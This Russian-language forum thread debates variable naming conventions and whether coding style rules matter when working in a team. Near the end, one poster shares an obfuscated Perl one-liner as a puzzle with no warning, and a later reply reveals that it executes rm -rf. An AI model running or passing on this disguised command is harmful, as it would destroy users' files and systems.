Вопросы о архитектуре языка

[Raiter]

Ну хз... Я больше согласен с JohnK... Вот мне например нравится писать не Eto_peremennaya_s_dlinnim_nazvaniem, а EtoPeremennayaSDlinnimNazvaniem... может кому-то так и труднее читать, но лично меня подчеркивания напрягают... А если мне мой же код не приятен и мне не приятно и не удобно его читать, то программирование уже не есть удовольствием, а наоборот

[johnk]

Кстати, Raiter, очень верно заметил:

если мне мой же код не приятен и мне не приятно и не удобно его читать, то программирование уже не есть удовольствием, а наоборот

Я все же настаиваю на том же: Программировать надо так, как тебе удобно, а забота об остальных не должна волновать, ибо кому надо, сможет прочесть любой код, как бы он не был написан.

И еще: Я считаю, что следование определенным правилам, тем что описывал Дипломат, есть не что иное, как лишняя показуха. А насчет работы, я скажу следующее: думаю, работодателю не важно, как ты пишешь, я считаю, ему важен результат. Так что следование правилам - что-то наподобие пустой траты времени, в ущерб себе.

[Raiter]

Ну тут есть и 1 маленькое НО... Работодателю не важно как ты пишешь, если в команде программист - ты один... А вот если программистов несколько, то разбор твоего кода будет тормозить весь процес + будет злить других кодеров = не слаженность команды

Потому лучьше работать одному

[Diplomat]

Вот мне например нравится писать не Eto_peremennaya_s_dlinnim_nazvaniem, а EtoPeremennayaSDlinnimNazvaniem... может кому-то так и труднее читать, но лично меня подчеркивания напрягают...

Гкхм, Райтер, это просто два правильных общепринятых способа именования переменных. ))
Неправильными именами этой переменной были бы следующие: EPSDN, PeDliNa, j234, z - и пр., не дающие представления о назначении переменной или искажающие это представление*1.
Похоже, тебе просто пока не попался в руки хороший учебник,.. или наоборот- попался слишком схоластичный учитель.

Я считаю, что следование определенным правилам... ...лишняя показуха.

В таком случае ты считаешь неверно. Почему- тебе уже обьяснили: не раз, и не я.
Впрочем: "У кожного своя доля, i свiй шлях широкий..."(с) Т.Шевченко, потому, "Если взрослый и психически нормальный человек осмысленно и целеустремленно бьётся головой о бетонну стену- это его неотьемлемое право..." (с)
Ваш покорный же больше не намерен возвращаться к этой теме, у него есть более важные и социально полезные дела.

P.S. RTFM!

___________________________
*1. В некоторых средах разработки длинна имен переменных ограничена, и даже приблизительно описать назначение переменной невозможно. В таком случае, в видном месте программы следует написать таблицу, указав в ней имена и назначение всех переменных, а в коде- более подробно описывать комментариями каждую более-менее сложную операцию с переменными.

Raiter,JohnK
ну вот вам волне рабочая прога на perl :

cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

и скажите что вам все ясно
ps. прога боянная ... но все же хороший пример

на блице не надо задумыватся о архитектуре кода
да и стилистика более мение все равно блицом ограничивается

а вот на других языках полет фантазии может доходит до чего угодно
(сам писал php прогу в html кодах ... )

так что правильный стиль программирования ето тоже самое что и
художественная стилистика ... книгу и вообще произведение
можно написать как угодно, но тогда не все ее поймут
"а себе понятно" тут не катит ... даже если ето читать будеш только ты

архитектура к стилистике имеет практически нулевое отношение
так что кончаем оффтопить

[HolyDel]

[IMVHO]
ето:
'$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
текстовая строка полюбэ.
-e наверно какое нить echo
cat "test... test... test..." - хз конечно, но мну кажется что ето просто выводит етот текст (' cat "test... test... test..." ')
вывод програма выводит строку.
[/IMVHO]

HolyDel
прога банально выполняет rm -rf
что приводит к смерти *nix системы если юзер сидел по rootом